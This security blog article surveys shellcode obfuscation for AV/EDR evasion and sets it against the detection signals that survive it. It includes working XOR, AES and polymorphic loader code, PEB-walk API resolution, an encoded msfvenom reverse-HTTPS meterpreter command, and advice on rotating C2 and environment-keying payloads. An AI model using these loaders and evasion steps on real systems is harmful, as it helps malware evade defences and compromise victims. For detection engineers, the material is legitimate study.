Back to Blog
Exploitation

Obfuscation Techniques: Writing Undetectable Shellcode

OffSec Research Team
10 June 2026 • 09:00 AM13 min
Obfuscation Techniques: Writing Undetectable Shellcode
TL;DR — Static detection of shellcode relies on recognisable byte patterns and entropy anomalies. Defeating it requires transforming payload bytes so that no known signature matches and the byte distribution looks plausible. Modern approaches combine encoding, encryption, polymorphic mutation, position-independent discipline, and entropy normalisation. This article surveys the principal obfuscation primitives, their interaction with modern scanner heuristics, the trade-offs between static and dynamic evasion, and the detection invariants that obfuscation cannot permanently hide.

Executive Summary

Shellcode is machine code designed to execute in a process's memory without being loaded as a conventional PE binary. It can be as small as a few dozen bytes (a msfvenom reverse-shell stub) or as large as a full in-memory PE loader. Security products scan buffers for shellcode signatures at multiple stages: before execution via AMSI, during scanning of allocated memory regions by EDR periodic scanners, and after execution via ETW call stack telemetry.

The term "undetectable shellcode" is a relative claim. In practice it means: "not detected by a specific set of scanners at a specific point in time." The attacker's engineering challenge is to stay ahead of signatures long enough to complete the objective. The defender's counter-strategy is to instrument detection at the execution boundary — where obfuscation breaks down — rather than solely at the file or memory-scan boundary.

Understanding obfuscation at a technical level is essential for malware analysts, detection engineers, and red teamers alike.

The Detection Landscape

Before examining bypass techniques, it helps to map the detection surface:

diagram — rendering…
flowchart TD
    A["Shellcode in memory / on disk"] --> B["Static Scanner<br/>(YARA, AV engine)"]
    A --> C["AMSI scan (script-stage delivery)"]
    A --> D["EDR memory scanner (periodic)"]
    A --> E["ETW call stack telemetry (runtime)"]
    B --> F["Byte signature matching"]
    B --> G["Entropy heuristic (Shannon entropy)"]
    C --> H["Scan of buffer/string at eval time"]
    D --> I["Pattern match on allocated pages"]
    E --> J["Return address in suspicious region"]
    style B fill:#2a0c14,stroke:#ef233c,color:#fee2e2
    style D fill:#2a0c14,stroke:#ef233c,color:#fee2e2

Obfuscation primarily targets Static Scanner and AMSI scan. Dynamic techniques (sleep obfuscation, call stack spoofing) address the EDR memory scanner and ETW layers separately.

Primitive 1 — XOR and Rolling-Key Encoding

The most elementary obfuscation. Each byte of the shellcode is XOR'd with one or more key bytes before storage. At runtime, a small decoder stub XOR-decodes the payload into an executable buffer.

python
def xor_encode(shellcode: bytes, key: bytes) -> bytes:    """Multi-byte rolling XOR encode."""    out = []    for i, b in enumerate(shellcode):        out.append(b ^ key[i % len(key)])    return bytes(out) # Example with 4-byte rolling keyraw_shellcode = b"\xfc\x48\x83\xe4\xf0\xe8..."  # raw msfvenom payloadkey = b"\x41\x42\x43\x44"encoded = xor_encode(raw_shellcode, key)

The corresponding x64 decoder stub in assembly:

asm
; x64 XOR decoder stub (position-independent)    call    get_eipget_eip:    pop     rsi                 ; RSI = current instruction address    lea     rdi, [rsi + offset_to_payload]    mov     ecx, payload_length    xor     edx, edx            ; key index counterdecode_loop:    movzx   eax, byte [key_array + rdx]    xor     [rdi], al    inc     rdi    inc     edx    cmp     edx, 4    jl      no_reset    xor     edx, edxno_reset:    dec     ecx    jnz     decode_loop    jmp     rdi_start_of_payload

Weakness and countermeasures: Single-byte XOR is trivially brute-forced: AV engines scan all 256 possible keys. Multi-byte rolling keys raise the cost to O(key_space), which for a 4-byte key is 4 billion operations — feasible for a dedicated analysis pipeline. The approach is useful for evading commodity AV but not for enterprise EDRs with full-spectrum analysis.

Primitive 2 — AES/ChaCha20 Encryption

Encrypting the payload with a strong symmetric cipher destroys all static signatures. The ciphertext is indistinguishable from random data. The decryptor stub must be present in the binary, but it can be made small and generic.

c
// AES-256-CBC loader skeleton#include <windows.h>#include <bcrypt.h> void decrypt_and_execute(BYTE* ciphertext, DWORD ct_len,                          BYTE* key, BYTE* iv) {    BCRYPT_ALG_HANDLE hAlg;    BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,                      (BYTE*)BCRYPT_CHAIN_MODE_CBC,                      sizeof(BCRYPT_CHAIN_MODE_CBC), 0);        BCRYPT_KEY_HANDLE hKey;    BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, key, 32, 0);        DWORD plaintext_len = 0;    BCryptDecrypt(hKey, ciphertext, ct_len, NULL, iv, 16, NULL, 0, &plaintext_len, BCRYPT_BLOCK_PADDING);        PVOID exec_mem = VirtualAlloc(NULL, plaintext_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    BCryptDecrypt(hKey, ciphertext, ct_len, NULL, iv, 16, exec_mem, plaintext_len, &plaintext_len, BCRYPT_BLOCK_PADDING);        ((void(*)())exec_mem)();}

Key management challenges: The decryption key must be accessible at runtime. Three strategies exist:

  • Embedded key: Key stored in the binary — easiest for dynamic analysis to extract via debugger breakpoint on BCryptDecrypt
  • Derived key: Key computed from environmental data (hostname, domain SID, username) — payload only decrypts correctly in the target environment
  • Network-fetched key: Key retrieved from a C2 server at execution time — requires connectivity but prevents offline analysis

Detection: Modern AV/EDR now scans the decrypted buffer after decryption completes, via memory scanning hooks inserted into VirtualAlloc and VirtualProtect call chains. The plaintext shellcode appears in memory even after AES encryption of the stored form.

Primitive 3 — Polymorphic Stub Generation

Polymorphism changes the encoding/decryption routine on every generation so that no two compiled samples share a byte-level signature. The payload remains identical; only the wrapper changes.

python
import random def generate_polymorphic_stub(payload: bytes) -> bytes:    """Generate a new XOR key and stub on every call."""    key = bytes([random.randint(1, 254) for _ in range(8)])    encoded = bytes(b ^ key[i % 8] for i, b in enumerate(payload))        # Select random NOP variants, register choices, instruction orderings    nop_variants = [b'\x90', b'\x66\x90', b'\x0f\x1f\x00']    nop = random.choice(nop_variants)        stub = build_decoder_stub(key, encoded, nop)    return stub

Tools like msfvenom implement polymorphism through its encoder pipeline (shikata_ga_nai, x86/jmp_call_additive). Each invocation produces a different stub wrapping the same payload:

shell
msfvenom -p windows/x64/meterpreter/reverse_https -e x64/xor_dynamic \         -i 5 -f raw LHOST=... LPORT=... > payload.bin

The -i 5 flag encodes five times in nested layers. Detection by signature matching is defeated; the decoder stubs are varied enough that no single signature covers all variants.

Primitive 4 — Metamorphic Code Transformation

Metamorphism goes beyond polymorphism by transforming the payload itself through semantics-preserving code mutations:

Instruction substitution:

asm
; Originalmov eax, 5 ; Metamorphic equivalentspush 5      ; pop eax        (push/pop pair)xor eax,eax ; add eax,5      (xor-zero then add)lea eax,[5] ; (address-of-constant)

Dead code insertion:

asm
; Original: xor eax, eaxmov ecx, 0xdeadbeef  ; junk — overwrites ecx which is clobbered laterxor eax, eax          ; real operationpush ecx              ; junkpop ecx               ; junk (net zero effect)

Register renaming: Replace EAX with ECX throughout a function, replacing all saves/restores consistently:

asm
; Original:  mov eax, [rbp+8]; push eax; Renamed:   mov ecx, [rbp+8]; push ecx

Metamorphic engines maintain semantic equivalence — the code does the same thing — while maximising byte-level variance. Detection relies on abstract execution or symbolic analysis, which is computationally expensive for scanners operating at scale.

Primitive 5 — Entropy Normalisation

Encrypted payloads have near-maximum entropy (≈7.9–8.0 bits/byte), which modern heuristics flag as likely packed or encrypted. Entropy normalisation reduces the measured entropy of the stored ciphertext to a value that looks like natural code.

Technique 1 — Byte padding interleaving:

python
def normalise_entropy(ciphertext: bytes, target_entropy: float = 5.5) -> bytes:    """Interleave low-entropy padding to reduce overall entropy measurement."""    result = []    # Low-entropy sequence (e.g., repeated ASCII spaces)    padding_pool = b' ' * 100 + b'\x00' * 50    j = 0    for i, b in enumerate(ciphertext):        result.append(b)        if i % 3 == 0:  # every 3 cipher bytes, insert 1 padding byte            result.append(padding_pool[j % len(padding_pool)])            j += 1    return bytes(result)

The runtime decoder strips padding bytes before decryption.

Technique 2 — Base-N encoding to ASCII range:

Encode the ciphertext in a restricted character set (e.g., lowercase a-z + digits) so the stored payload byte distribution mimics text data:

python
import base64, string def encode_as_text(data: bytes) -> bytes:    b85 = base64.b85encode(data)  # base85 uses printable ASCII range    return b85  # entropy ≈ 5.5 bits/byte, looks like text

Technique 3 — Steganographic embedding:

Embed payload bits in the least-significant bits of a carrier image or audio file. The entropy of the carrier file remains consistent with the original media format. A benign-looking PNG transports the payload bits transparently.

Primitive 6 — Position-Independent Code (PIC) Discipline

Well-crafted shellcode avoids absolute addresses, import tables, and string literals — all common signature anchors:

PEB walk for API resolution (x64):

asm
; Find kernel32 base via PEB InLoadOrderModuleList    mov rbx, gs:[0x60]          ; RBX = PEB pointer    mov rbx, [rbx + 0x18]       ; RBX = PEB.Ldr    mov rbx, [rbx + 0x20]       ; RBX = Ldr.InMemoryOrderModuleList.Flink    mov rbx, [rbx]              ; Skip ntdll (first entry)    mov rbx, [rbx + 0x20]       ; kernel32 base address (second entry)

Hash-based export resolution (ROR-13 variant):

c
// Resolve function by name hash — no readable string "VirtualAlloc" in binaryDWORD ror13(DWORD d) { return (d >> 13) | (d << 19); } DWORD hash_func_name(const char* name) {    DWORD h = 0;    while (*name) h = ror13(h) + (DWORD)(*name++);    return h;}// VirtualAlloc hash: 0xE553A458 (precomputed — no string in binary)

The absence of readable API name strings removes one of the most reliable static anchors. YARA rules that match VirtualAlloc and CreateRemoteThread strings find nothing.

Combining Primitives: A Production Loader Architecture

A production shellcode loader combines multiple primitives in a pipeline:

diagram — rendering…
flowchart LR
    A["Raw Shellcode<br/>(msfvenom/custom)"] --> B["AES-256 Encryption<br/>(key stored derived from hostname)"]
    B --> C["Entropy Normalisation<br/>(interleaved padding)"]
    C --> D["Polymorphic Decoder Stub<br/>(new key/stub per build)"]
    D --> E["Compiled Loader Binary<br/>(no imports, PIC, no strings)"]
    E --> F["Delivered to target<br/>(phishing, drive-by, lateral move)"]
    F --> G["Runtime: decode → allocate RX → execute"]
    style A fill:#1a1a2e,stroke:#3B82F6,color:#93c5fd
    style G fill:#2a0c14,stroke:#ef233c,color:#fee2e2

Where Obfuscation Breaks Down: The Execution Boundary

Obfuscation is fundamentally a pre-execution countermeasure. It fails at the execution boundary:

1. Memory scanning after decryption: EDRs schedule periodic memory scans of all running processes. When the loader decrypts the payload into a VirtualAlloc'd buffer, the plaintext shellcode is present in memory and can be matched against signatures. Tools like BeaconHunter, Moneta, and Hollows Hunter specifically target this window.

2. ETW / call stack telemetry: Execution starting from an unbacked anonymous RWX allocation generates a return address that falls outside any loaded module. Hunt-Sleeping-Beacons and EDR stack-walk analysis detect this unconditionally.

3. Behavioural sequences: The sequence VirtualAlloc(RWX) → write payload → create/hijack thread is a recognisable pattern regardless of what the written bytes contain. EDRs track this sequence at the kernel level.

4. Sandbox detonation: Automated cloud sandboxes (Joe Sandbox, Hatching Triage, Any.Run) execute the loader and observe the decrypted behaviour. The sandbox observes the post-decryption API calls and network traffic — obfuscation provides no benefit in this context.

5. Key derivation side-channels: Environment-keyed payloads that derive the decryption key from COMPUTERNAME, USERDOMAIN, or other environmental values can be attacked if the sandbox replicates the environment accurately, or if an analyst knows the target environment and replicates key derivation.

Advanced: In-Memory Obfuscation During Execution

Recognising the execution boundary problem, advanced loaders implement in-memory obfuscation even during active execution — see sleep obfuscation (post #34). The key insight: the shellcode only needs to be decrypted for the duration of actual execution. During callback sleep intervals (often 45–90 minutes), the payload can be re-encrypted in its own memory region, making it invisible to scanners that fire during the idle window.

Detection That Survives All Obfuscation

diagram — rendering…
flowchart TD
    A["Detection Invariants"] --> B["Kernel callbacks: memory allocation + permission<br/>sequence fires regardless of payload content"]
    A --> C["Call stack: return address outside module<br/>at execution time — payload must run from somewhere"]
    A --> D["Network: payload must connect to C2 eventually<br/>even if traffic is encrypted/profiled"]
    A --> E["Behavioural: specific actions (credential dump,<br/>lateral move) generate logs regardless of delivery"]
    style A fill:#0c2a22,stroke:#21d48e,color:#d1fae5
Detection LayerWhat it catchesObfuscation-resistant?
Static YARA / AV scanUnobfuscated payloadsNo — obfuscation defeats this
AMSI (PowerShell/C#)Script-staged payloadsPartial — bypass is possible
EDR memory scannerPost-decryption payload in memoryMostly — timing-dependent
Call stack analysisUnbacked execution originYes — structural invariant
Behavioural (kernel)Memory allocation sequenceYes — fires regardless of content
Network monitoringC2 trafficMostly — profiles can mimic legitimate traffic

Tooling Reference

ToolPurposeFree?
msfvenomGenerate and encode payloadsYes (Metasploit)
ScareCrowBypass AMSI + EDR with PIC loadersYes
FreezePE packer targeting AV/EDR bypassYes
DonutPosition-independent shellcode generatorYes
GadgetToJScriptConvert .NET assemblies to JS/VBAYes
PE2ShellcodeConvert PE to position-independent shellcodeYes
BeaconHunter / MonetaDetect suspicious memory regionsYes (defense)
PE-sieveIn-memory vs on-disk PE comparisonYes (defense)

Testing and Validation Workflow

Before deploying obfuscated shellcode in a real engagement, thorough testing against representative defenses is essential:

Stage 1 — Static analysis testing:

bash
# Upload to VirusTotal (note: submissions are shared; use in lab only)# Use private scanning services instead: Antiscan.me, Kleenscan, Nodistribute# Run local YARA scans with current public rulesetsyara -r /opt/yara-rules/all_rules.yar payload.bin# Check entropybinwalk -E payload.bin

Stage 2 — AMSI testing (PowerShell-staged payloads):

powershell
# Confirm AMSI fires without bypassInvoke-Expression "amsitest"  # Should throw SecurityException # Test bypass effectiveness — use EICAR-variant test string$test = [System.Text.Encoding]::ASCII.GetString([byte[]](88,53,79,33,80,37,64))# If no exception: bypass succeeded

Stage 3 — Memory scanner testing:

Deploy the shellcode in a test environment with Windows Defender, CrowdStrike Falcon, or Carbon Black and observe whether periodic memory scans flag the allocation. Tools like Moneta and PE-sieve can simulate what EDR memory scanners see.

Stage 4 — Behavioural sandbox testing:

Submit the loader to a private sandbox deployment (not VirusTotal, which shares submissions) configured with the appropriate Windows version and AV stack. Review the sandbox report for flagged behaviours, API sequences, and network activity.

Operational Security Considerations

Obfuscated payloads are powerful but require operational discipline:

  • Never reuse the same loader binary. Each deployment should be a fresh polymorphic generation. Reusing the same binary — even with the same encryption — allows signature accumulation over time.
  • Rotate C2 infrastructure frequently. The best-obfuscated payload is useless if the C2 IP/domain it connects to is on a blocklist. Treat infrastructure as disposable.
  • Environment-key when possible. Deriving the decryption key from the target's COMPUTERNAME, domain SID, or subnet makes the payload non-functional in sandbox environments, significantly raising the cost of automated analysis.
  • Test against the specific EDR deployed in the target environment. Obfuscation that defeats Defender may not defeat CrowdStrike's ML models or SentinelOne's process graph analysis. Intelligence on the target's security stack should drive bypass technique selection.

Conclusion

Writing obfuscated shellcode is an engineering discipline with well-understood primitives and clear trade-offs. Encryption defeats static signatures; entropy normalisation defeats entropy heuristics; PIC discipline removes string/import anchors; polymorphism prevents signature accumulation. But no combination of these primitives survives the execution boundary — the payload must run, and running from memory produces observable signals that bypass-resistant detection catches. The practitioner's real objective is not to achieve permanent invisibility but to raise the analysis cost high enough that automated defenses cannot keep pace, while moving quickly enough that the window between initial execution and detection is insufficient for incident response to intervene. Defenders who close this window — through fast EDR telemetry, automated memory scanning, and behavioural kill chains — neutralise obfuscation regardless of its sophistication.